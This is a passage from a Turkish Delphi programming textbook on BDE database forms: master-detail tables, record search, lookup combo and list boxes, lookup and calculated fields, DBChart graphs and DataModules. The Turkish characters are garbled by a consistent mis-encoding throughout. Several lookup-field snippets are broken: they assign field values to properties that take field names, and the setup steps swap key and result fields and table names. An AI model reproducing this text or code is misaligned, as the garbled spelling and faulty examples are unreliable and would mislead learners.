“Business” yapra÷ını aktifleútirin. “DataBase Form Wizard” seçene÷ini seçip “OK” Buttonuna tıklayın. Karúınıza aúa÷ıdaki pencere açılacaktır. Açılan pencerede, “Form Options” kısmından “Create a master/detail form” seçene÷ini,”Dataset Options” kısmından da “Create a form using Ttable object” seçene÷ini iúaretleyip Next dü÷mesine basın. Karúınıza ilk olarak “Master” tablonuzu seçebilece÷iniz pencere gelecektir. Bu pencere aliasınızın (gazi) referans gösterdi÷i klasörün içerisinde yer alan “MAGAZA” tablosunu seçerek “Next” dü÷mesine tıklayın. Bu adımda karúınıza gelen pencereden master tablonuzda, formun üzerine gözükmesini istedi÷iniz sütunları belirlenizi isteyecektir. Formda gözükmesini istedi÷iniz sütunları “Available Field” listesinden “Ordered selected Fields” listesine aktarıp “Next” dü÷mesine basın (biz bütün sütunları aldık). Açılan yeni pencereden “Vertically” iúaret dü÷mesini seçerek “Next” dü÷mesine tıklayın. 124 Yeni bir pencere açılacaktır bu pencereden “Left” seçene÷ini seçip “Next” dü÷mesine tıklayın. Karúınıza aúa÷ıdaki pencere açılacaktır. Bu pencereden “Detail” olarak kullanaca÷ınız tabloyu seçmenizi isteyecektir. “SERVIS” tablosunu seçerek “Next” dü÷mesine tıklayın. Açılan yeni pencere “Detail” tablonuzdan formun üzerinde gözükmesini istedi÷iniz sütunları seçmenizi isteyecektir (Biz SIRANO hariç tüm sutunları dahil ettik). Next dü÷mesine tıklayın. Açılan yeni pencereden “In a Grid” iúaret dü÷mesini seçerek “Next” buttonuna tıklayın. Aúa÷ıdaki pencere açılacaktır. 125 Bu pencerede “Available Indexes” listesinde “Detail” tablosundaki tüm index ler gözükecektir. “MAGAZAINDEX” (ma÷azaadı sütunu için tanımlanan secondary index) olanını seçin. “Detail Fields” listesinde otomatik olarak gözükecektir. “Detail Fields” listesinden “MAGAZAINDEX” ve “Master Fields” listesinden de “MAGAZA ADI” sütununu seçip “Add” buttonuna tıklayın. Yarattı÷ınız iliúki “Joined Fields” listesinde aúa÷ıdaki gibi oluúturulacaktır. Next dü÷mesine basın. “Finish” deyip wizardı bitirin. Yukarıdaki adımlardan sonra “Delphi” sizlere “Master-Detail” içeri÷i olan bir form yapısı oluúturacaktır. Bu yapıda çok önemli bir özellik barınmaktadır. Master tablonuzdan bir ma÷aza ismini seçti÷iniz zaman “Detail” tablonuzda (DataGrid içerisinde) sadece o ma÷azaya yapılmıú olan servisleri listeleme úansını bulacaksınız. Bu yapının di÷er bir özelli÷ide var olmayan bir ma÷azaya yanlıúlıkla servisin yapılamayaca÷ıdır. Çünkü “SERVIS” tablosuna kayıt girerken (DataGrid içerisinden) ma÷aza adını kendisi otomatik olarak belirleyecektir. Haliyle kullanıcının yapabilece÷i yanlıú isim girme iúlemlerinin önüne geçmiú olacaksınız. “Master-Detail” form yapısında “Delphi” sizin yerinize formunuza iki adet “Table” , iki adet “DataSource”, master tablodaki sütun sayısı kadar “Edit” 126 kontrolü ve “Detail” tablo bilgilerinizi topluca listelemeniz için “DataGrid” nesnesini yerleútirecektir. Programı çalıútırdıktan sonraki ekran görüntünüz aúa÷ıda verilmiútir. “DBNavigator” kontrolünde yapaca÷ınız kayıt gezinti iúlemleri “DataGrid” nesnesindeki kayıtların tamamen de÷iúmesine (seçilen ma÷azaya ait kayıtları gösterecektir) sebep olacaktır. Master Detail Form Yapısını Manuel Oluúturmak: Burada “Master” tablo için yapılan iúlem sadece paradox tablosuna ba÷lantıyı sa÷lamaktır (Table1-DataSorce1).”Detail” tablosu için (úayet manuel olarak siz ba÷lantı iúlemini yapacaksanız) aúa÷ıdaki ayarları yapmanız gerekecektir. Koyu renkte yazılmıú özellikleri, kodla veya “Object Inspector” penceresinden ayarlamalısınız(“IndexName-MasterFields-MasterSource”). Söylemeye gerek yo sanırım, “DataSource2” kontrolünüde “Table2” nesnesine ba÷lamalısınız. 127 Master-Detail Tablolarda Kayıt Arama øúlemleri: Neredeyse bütün projelerinizde kullanaca÷ınız bir uygulama seçene÷idir. Düúünün yukarıdaki “Master-Detail” yapıda herhangi bir ma÷azaya servis yapıldı÷ı zaman faturayı nasıl iúleyeceksiniz. øzah edelim, öncelikle “Master” tablodan ma÷azayı bulaca÷ız, bu ma÷azaya göre “DataGrid” nesnesinde servisler listelenecek, kaydı da yeni bir servis olarak “DataGrid” nesnesine ekleyece÷iz. Yukarıda yapmıú oldu÷unuz form yapısına bir adet “Edit” kontrolü yerleútirerek aúa÷ıdaki yeni tasarımı oluúturunuz. Aúa÷ıdaki kod blo÷onu “Edit” Kontrolünün “OnkeyPress” yordamına ekleyiniz. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); //Kayıt Bul Var ara:Boolean; begin if Key=#13 Then begin ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then begin 128 ShowMessage('Kayıt Bulunamadı'); end end; end; Programı çalıútırın. Ardından aradı÷ınız ma÷aza ismini girip klavyeden “Enter” tuúuna basın. “Master” tablonuz o ma÷azayı gösterecek, “Detail” tablonuzda o ma÷azaya ait yapılmıú servisleri listeleyecektir. Çalıútırıldıktan sonraki form görüntüsü aúa÷ıda verilmiútir. Yukarıdaki örnekte “Edit” kontrolü içerisine aradı÷ımız ma÷aza ismi olarak “MIGROS” de÷erini girip “Enter” tuúuna bastık. Bilgisayarın yaptı÷ı iúlemse “MIGROS” ma÷azasını “Master tabloda aktifleútirmek, arkasından ona ba÷lı olarak çalıúan “Detail” tablosunda da “MIGROS” ma÷azasına yapılmıú olan servisleri listelemek olmuútur. Girece÷iniz faturayı DataGrid nesnesinin en son satırına ekleyebilirsiniz. Hatırlatma:”Master-Detail” tablo yapısında iki tabloda da iliúkilendirilecek olan sütunları index olarak tanımlayın. Aksi takdirde uygulamada bir çok sıkıntı yaúayabilirsiniz. 129 Lookup øúlemleri Birbirleriyle iliúkili tablo yapılarında “Lookup” iúlemleri sizlere tahmin edemeyece÷iniz kadar kolaylıklar sa÷layacaktır. Daha önceden oluúturdu÷umuz “MAGAZA” ve “SERVIS” tabloları için söyle bir senaryo üretelim. Öncelikle servis tablosuna girilecek kayıtlarda ma÷aza tablosunda olmayan bir ma÷azanın bulunması çok kötü sonuçlar do÷uracaktır. Kullanıcı ma÷aza adını girerken “MIGROS” yerine “MAAGROS” veya “DIA” yerine “DIYA” yazabilir, bu hata binlerce kaydın girildi÷i tablolarda çok normal karúılanabilir bir durumdur. Ama isterseniz böyle bir hatanın oluúmasını aúa÷ıda anlataca÷ım yöntemle tamamen önleyebilirsiniz. “SERVIS” tablosuna girilecek ma÷aza adını kullanıcıya klavyeden girdirmeyip, ekleyece÷iniz bir ComboBox kutusundan seçtirtebilirsiniz. ComboBox ın açılan penceresindeki de÷erleride “MAGAZA” tablosunda yer alan “MAGAZAADI” sütunundan aldırabilirsiniz. ùimdi bu iúlemleri nasıl yapabilece÷inizi detaylı olarak izah etmeye çalıúalım. DBLookupComboBox Kontrolü: Baúka bir tablonun (veya Query nin) sütun bilgilerini listelemek için kullanılan en etkili kontroldür. Ba÷lantı iúlemlerinde kullanaca÷ınız extra özellikleri aúa÷ıda verilmiútir. x DBLookupComboBox1.DataSource Bu özellik sayesinde içerisine girilen kayıtların yazdırılaca÷ı kaynak belirlenebilir (Aynen DBEdit kontründeki özellik gibidir). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; end; x DBLookupComboBox1.DataField Kontrole girilen içeri÷in kaynakta yazdırılaca÷ı sütunu belirleyen özelli÷idir (Aynen DBEdit kontrolünde oldu÷u gibi). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource2; DBLookupComboBox1.DataField:='MAGAZAADI'; end; 130 x DBLookupComboBox1.ListSource Kontrolün içerisinde gösterilecek olan sütun (di÷er tablodaki) bilgilerinin yer aldı÷ı kayna÷ı belirleyen özelli÷idir (Bu özellik “DBEdit” kontrolünde yoktur). procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; end; x DBLookupComboBox1.ListField øçeri÷in belirtildi÷i kaynakta birden fazla sütun olabilece÷i için hangi sütunla iliúkilendirilece÷i bu özellikle belirlenmelidir. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; Table1.Open; end; x DBLookupComboBox1.KeyField ComboBox ın içeri÷inde yer alacak liste de÷erlerinin hangi sütundan alınaca÷ı bu özellikle belirlenir. “ListField” ile “KeyField” aynı úeyi yapıyor gibi gözüksede kesinlikle yanlıú bir tesbit. Bu husus için bir sonraki bölüme bakınız. procedure TForm3.FormCreate(Sender: TObject); begin DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; 131 ùimdi özelliklerini anlattı÷ımız kontrolleri örnek üzerinde görmeye çalıúalım. Aúa÷ıdaki tasarımı oluúturunuz (Edit kontrollerini Table1 nesnesine, Table1 nesnesini paradox ta yarattınız servis tablonuza ba÷lamayı untmayınız). Ayrıca formunuza bir adet “Query” (di÷er tablo ba÷lantısı için kullanılacak) ve bir adet “DataSource” (Query kontrolüne ba÷lanacak) kontrolü daha eklemeyi unutmayınız (Ba÷lantı iúlemleri tamamen kodla yapılaca÷ı için bu iki kontrole properties penceresinden müdahale etmenize gerek yoktur). Aúa÷ıdaki kod blo÷unuda “Unit” pencerenize ekleyiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select MAGAZAADI from MAGAZA'); Query1.Open; DataSource2.DataSet:=Query1; DBLookupComboBox1.DataSource:=DataSource1; DBLookupComboBox1.DataField:='MAGAZAADI'; DBLookupComboBox1.ListSource:=DataSource2; DBLookupComboBox1.ListField:='MAGAZAADI'; DBLookupComboBox1.KeyField:='MAGAZAADI'; Table1.Open; end; Programı çalıútırdıktan sonra kullanıcı “MAGAZAADI” sütunu için ekleyece÷i veya de÷iútirece÷i kayıtlar da klavyeyi kullanmayacak, sedece açılan listeden ma÷aza adını seçme iúlemini gerçekleútirecektir. Bu seyede oluúabilecek hataların (yanlıú ma÷azayı seçerse sizin yapabilece÷iniz hiçbir úey yoktur. Yüzde yüz kullanıcı hatası olur. Ama unutmayın önleyebilece÷iniz kullanıcı 132 hatalarınıda mutlaka ekleyece÷iniz kodlarla minimuma indirmeye çalıúınız) neredeyse tamamının önüne geçmiú olacaksınız. Programın çalıútırıldıktan sonraki görüntüsü aúa÷ıdaki pencerede gösterilmektedir. Kayıt girerken veya de÷iútirirken kullanıcının “ComboBox” içerisinde var olan listeyi kullanaca÷ını sakın untmayınız. x DBLookupComboBox1.Text Kontrolün gösterdi÷i de÷er bu özellikte saklanmaktadır. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); begin Form3.Caption:=DBLookupComboBox1.Text; end; x DBLookupComboBox1.DropDownRows Kontrol içerisindeki liste açıldı÷ı zaman gösterilecek olan satır sayısı bu özellikle belirlenir. ùayet satır elemanları daha fazla ise öbür elemanlara kaydırma çubu÷u sayesinde eriúilebilir. procedure TForm3.DBLookupComboBox1Click(Sender: TObject); //Kaç Satır begin DBLookupComboBox1.DropDownRows:=8; end; 133 DBLookupListBox Kontrolü: Karakteristik olarak “DBLookupComboBox” kontrolüne ait özellikleri aynen kullanır. Kontrolü anlamanız için aúa÷ıdaki úekilde “Query1” kontrolünü kullanarak “DataGrid” nesnesi (DataSource1 ve kullanılarak) içerisindeki satırları doldurun (Bu hususta ba÷lantının nasıl yapılabilece÷i daha önce detaylı olarak anlatılmıútır). Aynı forma ikinci bir “Query” ve Datasource nesnesiyle beraber bir adette “DBLookupListBox” kontrolü yerleútiriniz.Amacımız “MAGAZA” tablosundaki ma÷aza adlarını liste içerisinde göstermek olacaktır. Ardından da listeden seçilen ma÷aza adına göre “DataGrid” nesnesinde sorgulama yapaca÷ız. Yani seçti÷imiz ma÷aza ismine ait servisleri listeleyece÷iz. Programa ait kod blo÷u aúa÷ıda verilmiútir. “Unit” pencerenize ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin Query1.Open; Query2.DatabaseName:='gazi'; Query2.SQL.Add('Select MAGAZAADI from MAGAZA'); Query2.Open; DataSource2.DataSet:=Query2; DBLookupListBox1.ListSource:=DataSource2; DBLookupListBox1.KeyField:='MAGAZAADI'; end; 134 procedure TForm4.DBLookupListBox1DblClick(Sender: TObject); var deger:AnsiString; begin deger:=DBLookupListBox1.SelectedItem; Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=deger; Query1.Open; end; Programı çalıútırdıktan sonra listeden üzerine çift tıklayaca÷ınız ma÷aza adına ait yapılmıú olan tüm servisler “DataGrid” nesnesinde gösterilecektir. 135 Tabloda Lookup Sütunları Yaratmak: Lookup kontrolleri dıúında tablonuzda direk lookup sütunları oluúturursanız, kayıt ekleme ve de÷iútirme zamanlarında sizlere çok büyük kolaylıklar sa÷layacaktır. Olayı örnek üzerinde izah etmek istiyorum. Öncelikle aúa÷ıdaki iki tabloyu “yeniler” isimli bir “alias” oluúturup içerisine kaydedin. Tablo1:URUN Tablosu Fieeld Name(Sütun øsmi) BARKODNO Type(Tipi) Size (Kaç Karakter) N URUNADI A FIYATI $ Key(Primary ind) * 25 Tablo2:SATIS Tablosu Fieeld Name(Sütun øsmi) SIRANO Type(Tipi) Size (Kaç Karakter) + URUNADI A SATISTARIHI D FIYATI $ KDV $ TOPLAMTUTAR $ Key(Primary ind) * 25 Uygulamadaki amaç ikinci tabloya kayıt girerken “Ürün Adı” nı seçti÷i zaman “FIYATI” sütunu de÷erini otomatik olarak birinci tablodan alacak (do÷abilecek fiyat farklılıklarını bu úekilde her zaman engelleyebilirsiniz). ùimdi “Table” kontrolüNÜ kullanarak “DataGrid” nesnesinde ikinci tablonun (SATIS) tüm kayıtlarının gösterilmesini sa÷layıp aúa÷ıda verilen adımları izleyin. Formunuza ikinci bir “Table” nesnesi ekleyin. 136 “DataBaseName” özelli÷ine Alias isminizi (yeniler), “TableName” özelli÷inede “URUN” (birinci tablo) tablosunu aktarın. “Active” özelli÷ini de true yapın. ùimdi eklemiú oldu÷unuz ilk “Table” (Table1) nesnesini seçip mousun sa÷ tuúuna tıklayın. Açılan menüden “Fields Editor” seçene÷ine tıklayın. Açılan pencere den “URUNADI” sütununu seçip “Object Inspector” penceresinden “FieldKind” özelli÷ine “fkLookup”,”KeyFields” özelli÷ine “FIYATI” sütununu, “Lookup Dataset” özelli÷ine “Table2”, “LookupResultField” özelli÷ine “URUNADI” sütununu, “LookupKeyFields” özelli÷ine de “FIYAT” sütununu aktarın. Bundan sonra yapaca÷ımız kısım Lookup iúlemleri için zorunlu de÷ildir. Ama proje olması açısından bunlarıda aynen uygulayın. Bu adımda “KDV” ile “TOPLAMFIYAT” sütununu beraberce seçip “FieldKind” özelliklerini “fkCalculated” yapın. Aúa÷ıdaki kod blo÷unuda gösterilen yordama ekleyip projenizi çalıútırabilirsiniz. procedure TForm3.Table1CalcFields(DataSet: TDataSet); //Hesapla begin Table1KDV.AsCurrency:=Table1FIYATI.AsCurrency*0.15; Table1TOPLAMFIYAT.AsCurrency:=Table1FIYATI.AsCurrency*1.15; end; Yukarıdaki kod satırını yazmamdaki amaç ürünün fiyatı belirlendikten sonra “KDV” ile “TOPLAMFIYAT” sütunlarının de÷erlerinin otomatik olarak (hiç bir tetikleyici kullanmadan) hesaplanmasını istemiú olmamdan kaynaklanmaktadır. Yoksa “Lookup” iúlemleriyle herhangi bir ilgisi yoktur. 137 Programı çalıútırdıktan sonra “Kayıt Ekle” dü÷mesine (+) basın. “URUNADI” Sütununa mous ile çift tıklarsanız sa÷ tarafında açılan bir pencere belirecektir (Lookup olayı). Bu pencereden herhangi bir ürünü seçti÷iniz vakit, bu ürünün birinci tablodaki fiyatı otomatik olarak ikinci tabloya aktarılacak (FIYATI sütununa), hesaplama iúlemleri için yukarıdaki kod çalıútırılarak di÷er iki sütun daha hesaplattırılacaktır. “URUNADI” sütunundan “TV” seçildikten hemen sonraki “DataGrid” görüntüsünü yukarıda görebilirsiniz. Di÷er sütun bilgileri yerlerini almıú úekilde beklemektedir. Dördüncü adımdaki Lookup iúleminde kullanılan özellikleri ayrıca izah etmek istiyorum. Bunları “Object Inspector” penceresinden ayarladık dilerseniz aúa÷ıdaki úekilde kodlada de÷erlerini atayabilirdiniz. x Table1.Fields[0].LookupDataSet Kontrolün içerisinde gösterilecek de÷erlerin bulundu÷u sütun de÷erinin hangi tablo içerisinde oldu÷unu belirleyen özelli÷idir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2;//ilk sütun end; x Table1.Fields[0].LookupKeyFields Seçilen de÷erin di÷er tablodaki hangi sütun de÷erine yazılaca÷ını belirleyen özelli÷idir. 138 procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString;//ikinci sütun end; x Table1.Fields[0].LookupResultField Açılan listede gösterilecek olan kayıtların kayna÷ı olarak kullanılacak olan sütun ismini belirleyebilece÷iniz özelli÷idir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; end; x Table1.Fields[0].KeyFields Seçilen de÷erin ana tabloda hangi sütun yerine yazdırılaca÷ını belirleyen özelli÷idir. procedure TForm2.FormCreate(Sender: TObject); begin TABLE1.Fields[0].LookupDataSet:=Table2; Table1.Fields[0].LookupKeyFields:=Table1.Fields[1].AsString; Table1.Fields[0].LookupResultField:=Table2FIYAT.AsString; Table1.Fields[0].KeyFields:=Table1FIYATI.AsString; end; x Table1.Fields[0].FieldKind Sütunun hesaplanma úekline belirleyen özelli÷idir. “fkLookup” de÷eri atanırsa baúka bir sütuna ait de÷eri kullanabilir. procedure TForm3.FormCreate(Sender: TObject); begin Table1.Fields[0].FieldKind:=fkLookup; end; 139 140 BÖLÜM 4 GARAFøK ÇøZDøRMEK 141 142 Tablo Kayıtlarını Grafikte Göstermek: Bu bölümdeki amacımız elimizde mevcut olan tablolara ait bilgileri kullanarak grafik oluúturmak olacaktır. Kullanaca÷ımız grafik kontrolü ile birden fazla seriyi aynı grafik içerisinde gösterme úansına sahibiz. Aúa÷ıdaki adımları dikkatlice inceleyiniz. Formunuza bir adet “Data Controls” yapra÷ında yer alan “DBChart” kontrolü yerleútirip “Align” özelli÷ine “alClient” de÷erini aktarın. økinci adımda “BDE” yapra÷ında yer alan “Table” veye “Query” kontrollerinden bir tanesini formunuza sürükleyin (Biz “Query” kontrolünü tercih ettik). “Query” Kontrolünüzün “DataBaseName” özelli÷ine “gazi”, “SQL” özelli÷inede “Select MAGAZAADI,sum(FATURATUTARI) From Servis Group By MAGAZAADI” sorgusunu girin. Bu sorgudaki amacımız ma÷azalar için yapılmıú olan toplam servis ödemelerini grafik olarak göstermek olacaktır (Tek kalem olarak). “Query” kontrolünün “Active” özelli÷ine “true” de÷erini aktarınız. En son görüntünüz yukarıdaki úekilde oluúmalıdır. Bu adımda “DBChart” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan menüden “Edit Chart” seçene÷ini seçerseniz Aúa÷ıdaki pencere açılacaktır. Grafi÷e ait bütün görsel ve içeriksel ayarları buradan yapabilirsiniz. “Editing DBChart” penceresinde iki adet ana yaprak, o yapralara ait bir sürü alt seçenekler bulunmaktadır. ùimdi bu seçenekler içerisinde bizler için önem arz edecek olanlarını detaylıca inceleyece÷iz. 143 Yaprakları incelerken sırayla gitmeyece÷im. Sebebi basittir, önemli olanlardan basit olanlara do÷ru bir inceleme yöntemi seçtim. Dikkatlice izleyiniz. ølk Olarak grafi÷i çizilecek olan seriyi ekleyelim (zorunludur). “Chart” yapra÷ı aktif iken, alt yapraklardan “Series” sayfasını aktifleútin. “Add” dü÷mesine tıklayın aúa÷ıdaki pencere açılacaktır. Bu pencereden grafi÷inizin türünü seçebilirsiniz. ølgili türü seçtikten sonra “OK” dü÷mesine basarak pencereyi kapatınız. 144 Aúa÷ıdaki pencerede gözüktü÷ü gibi ilk seriniz oluúmuú olacaktır. Bu adımda “Title” dü÷mesine tıklayarak grafi÷inizin ismini belirleyebilirsiniz. Grafi÷inize isim verdikten sonraki görüntünüzün aúa÷ıdaki úekilde oluúması gerekecektir. Bu adımda “General” yapra÷ına geçerek görüntüsel ve animasyona yönelik basit bir kaç ayar yapalım. “Allow Zoom” ile “Animated Zoom” iúaret kutularını doldurun. 145 Bu seçenekler grafik üzerinde mous ile animasyonlu úekilde zoom yapabilmenizi sa÷layacaktır. “Titles” yapra÷ına geçin. Bu yaprak ta aúa÷ıda gösterilen baúlık ismini yazarak (dilerseniz renk ve font ayarlarını buradan yapabilirsiniz). “3D” Yapra÷ından da üç boyutlu görünümünü ayarlayabilirsiniz. Bu penceredeki “3 Dimension”, grafi÷in izometrik görüntüsüne ait açı de÷erini belirleyecektir. 146 Gelelim grafik içerisinde çizimi yapılacak olan veriler ile ba÷lantının sa÷lanmasına, bu iúlem için “Series” yapra÷ını kullanaca÷ız. Bu yapra÷a ait “Data Source” sayfasını aktifleútirerek aúa÷ıdaki de÷erleri giriniz. “DataSet” kısmına “Query1”, Labels kısmına “MAGAZAADI” (Yatay eksen), Pie kısmına da düúey eksende gösterilecek olan “SUM(FATURATUTARI)” sütununu seçin. “Marks” yapra÷ında da aúa÷ıdaki ayarları yapın. “Close” dü÷mesine tıklayarak pencereyi kapatınız. 147 Artık programınızı çizdirilecektir. çalıútırabilirsiniz. Grafi÷iniz istedi÷iniz úekilde Grafi÷inizi üç boyutlu göstermek için aúa÷ıdaki basit ayarı de÷iútirmeniz yeterli olacaktır. “Chart” yapra÷ında yer alan “3D” sayfasını aktifleútirerek “Elevation” de÷erini uygun olan ölçüde de÷iútirin. Uygulamanıza ait en son ekran görüntüsü yukarıdaki pencerede gözüktü÷ü úekilde gerçekleúmiú olmalıdır. ùimdi de sizlere birden fazla seri úeklinde çizilen grafikleri tek bir ekranda nasıl gösterebilece÷inizi gösterece÷im. Aúa÷ıdaki adımları dikkatlice takip ediniz. 148 Birden Fazla Seri øçeren Grafik Oluúturmak: Gelir-Gider de÷erlerinin tutuldu÷u tabloya ait bilgileri, tek bir grafik içerisinde yöneticiye göstermek amaçlı aúa÷ıdaki úekilde oluúturunuz. Fieeld Name(Sütun øsmi) AYLAR Type(Tipi) A GELIR $ GIDER $ Size (Kaç Karakter) Key(Primary ind) 25 Birinci adımda formunuza bir adet “Table” nesnesi yerleútirip yukarıdaki tabloyla ba÷lantısını sa÷layın. økinci adımda formunuza bir adet “DBChart” kontrolü yerleútirerek, mousun sa÷ tuúuna tıklayın. Açılan menü seçeneklerinden “Edit Chart” a tıklayarak aúa÷ıdaki pencerenin açılmasını sa÷layın. Bu pencerede ard arda iki kere “Add” buttonuna tıklayarak (baúlıklarınıda “Title” a tıklayarak belirleyin) iki adet seri yaratın. Bu adımda “Gelir” isimli seriyi seçip “Series” yapra÷ında yer alan “DataSource” sayfasında aúa÷ıdaki úekilde de÷iúikliklerinizi yapın. Daha önceki örnekte gösterdi÷imiz görüntüsel ayarları teker teker siz yapın. “Dataset” kutusuna “Table1”, “Labels” kutusuna “AYLAR”, “Y” kutusunada “GELIR” atamalarını yapın. 149 Son adım olarak tekrar “Chart” yapra÷ını aktifleútirin. Bu sefer “Gider” isimli seriyi seçerek “Series” yapra÷ındaki “DataSource” sayfasını aktifleútirin. Bu sayfadaki tüm ayarları da aúa÷ıdaki úekilde yapın. Tekrar “Chart” yapra÷ına dönerek iki serinin baúında yer alan iúaret kutularının seçili oldu÷unu kontrol edin. Artık uygulamanızı çalıútırabilirsiniz. 150 Uygulamada iki adet serinin oldu÷u, birincisinin “Gelir” miktarını, ikincisinin de “Gider” miktarını tuttu÷u sanıyorum dikkatinizi çekmiútir. Bu sayede zararkar durumunu grafikten kolayca izleyebilirsiniz. Grafi÷i Yazdırmak: Aúa÷ıdaki komutla oluúturmuú oldu÷unuz grafi÷i yazıcıya gönderebilirsiniz. Serilerinizin ikiside bastırılacaktır. procedure TForm6.Button1Click(Sender: TObject); begin DBChart1.Print;//Yazdır end; 151 Data Modul Yapısı: Tablo kayıtlarını kullanıcıya gösterebilmek veya kullanıcının tablolara kayıt ekleyebilmesini sa÷lamak amaçlı olarak formunuza bir çok kontrol eklemekteyiz (Table,Query vs). Aynı ba÷lantılar projenizin içerisinde birçok defa tekrarlanacaksa, bu yapıyı “DataModul” içerisinde oluúturmak size hem zaman kazandıracak, hemde kodlamaya daha fazla zaman ayırabilece÷iniz için sıkıntıdan kurtulacaksınız. Bu kontrolleri “DataModul” içerisinde kullanmak sonuçları asla de÷iútirmeyecektir. Aúa÷ıda yapının oluúturulabilmesi için izlenmesi gereken adımlar incelenmektedir. “File->New->Other” menü adımlarından sonra aúa÷ıdaki pencere açılacaktır. Açılan pencere den “Data Module” seçene÷ini seçerek “OK” buttonuna tıklayın. “DataModule” isimli yukarıdaki pencere açılacaktır. 152 DataModule Kullanarak Tablolara Ba÷lanmak: Bu bölümde projeye eklemiú oldu÷umuz yukarıdaki “DataModule” ü kullanarak veri tabanı içerisinde yer alan tablolara ba÷lanaca÷ız. Aúa÷ıdaki adımları izleyiniz. Birinci adım da “File->New->Other->Data Module” seçeneklerini izleyerek uygulamanıza bir adet “Data Module” nesnesi ekleyiniz (Unit2 Oluúacaktır). økinci adım “BDE” yapra÷ında yer alan “Table” nesnesinden bir adet “Data Module” üzerine sürükleyin. “Data Module” üzerindeki “Table” nesnesini seçerek “DataBaseName” özelli÷ine aliasınızın ismini (gazi), “Table Name” özelli÷ine de ba÷lantı kuraca÷ınız tablonun ismini aktarın (MAGAZA). Dördüncü Adım olarak “Data Module” üzerine “Data Access” yapra÷ında yer alan “DataSource” kontrolünden bir adet yerleútirip “DataSet” özelli÷ine “Table1” nesnesini aktarın. Son olarak “Table” nesnesinin “Active” özelli÷ine true de÷erini aktarın. Bu mantıkla “Data Module” üzerine diledi÷iniz kadar kontrol yerleútirebilirsiniz. Biz olayın anlaúılabilirli÷ini artırabilmek için bu úekilde basit bir yapı oluúturmayı uygun gördük. ùimdiki bölümde de formumuzun üzerine yerleútirece÷imiz kontrollerle “Data Modül” ü kullanarak tablonuzdaki kayıtlara nasıl eriúebilece÷inizi gösterece÷im. Öncelikle aúa÷ıdaki form tasarımını oluúturunuz. Formunuzun üzerine bir adet “DBGrid” nesnesi ile bir adet “DBNavigator” kontrolü yerleútiriniz. Ardından formunuza ait “Unit” penceresine “uses Unit2” satırını ekleyin (Bu satırı eklemezseniz Data Modül Unit2 ye ait olaca÷ı için 153 di÷er iúlemlerinizi gerçekleútiremeyeceksiniz). Bu satır sayesinde “Data Modül” nesnesine eriúebileceksiniz. ùimdi “DBGrid” kontrolünü seçerek “Object Inspector” penceresinde yer alan “DataSource” özelli÷ine tıklayın. Aúa÷ıdaki úekilde “DataModül” ünüzün gözükece÷i bir görüntü elde edeceksiniz (özelli÷e bu nesneyi aktarın). Aynı iúlemi “DBNavigator” kontrolü için de yapıp uygulamanızı çalıútırın. Görüldü÷ü gibi baúka hiç bir kod satırına ihtiyaç duyulmadan, tablonuza ait tüm kayıtları kolayca listelemeyi baúaracaksınız. 154 Data Module øçerisinde Parametre Oluúturmak: Bu Defa daha karmaúık bir yapıya sahip olan “DataModule” içerisinde parametre oluúturma iúlemine de÷inece÷im. Örne÷imiz için aúa÷ıdaki úekilde içerisinde “DBGrid” , “DBNavigator” , “Button” ve “Edit” kontrollerinin yer aldı÷ı form tasarımını oluúturunuz. Artık projemize “Data Module” ekleyerek içerisinde parametre oluúturalım. “File->New->Other->Data Module” seçeneklerini izleyerek projenize bir adet “Data Module” nesnesi ekleyiniz. økinci adımda “Data Module” içerisine “BDE” yapra÷ında yer alan “Query” kontrolünü sürükleyin. “Query” kontrolünün “DataBase Name” özelli÷ine aliasınızın ismini aktarın (gazi). Ardından “SQL” özelli÷ine tıklayarak aúa÷ıdaki sorgu komutunu giriniz. 155 “OK” Dü÷mesine tıklayın. Bu adımda “Query” kontrolünün “Active” özelli÷ine true de÷erini aktarın. Formunuza “Data Access” yapra÷ında yer alan Data Source nesnesinden ekleyerek “DataSet” özelli÷ine “Query1” kontrolünü aktarın. Son olarak aúa÷ıdaki kod blo÷unu formunuza ait “Unit” pencerenize ekleyiniz. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DBCtrls, ExtCtrls, Grids, DBGrids,StdCtrls, unit3;//ekleyin //DataModule3 e ulaúabilmek için ekleyeceksiniz. procedure TForm1.Button1Click(Sender: TObject); begin DataModule3.Query1.SQL.Clear; DataModule3.Query1.SQL.Add('Select * fROM magaza Where MAGAZAADI=:MAG');//parametre yaratılıyor DataModule3.Query1.Params[0].AsString:=Edit1.Text; DataModule3.Query1.Open; end; Artık programınızı çalıútırabilirsiniz. Ma÷aza ismini “Edit” kontrolüne girip “Parametre” isimli dü÷meye tıklayınız. Yazmıú oldu÷unuz ma÷aza ismine “Data Module” kullanarak ulaúabilece÷inizi göreceksiniz. 156 kolayca DataSource Kontrolü: 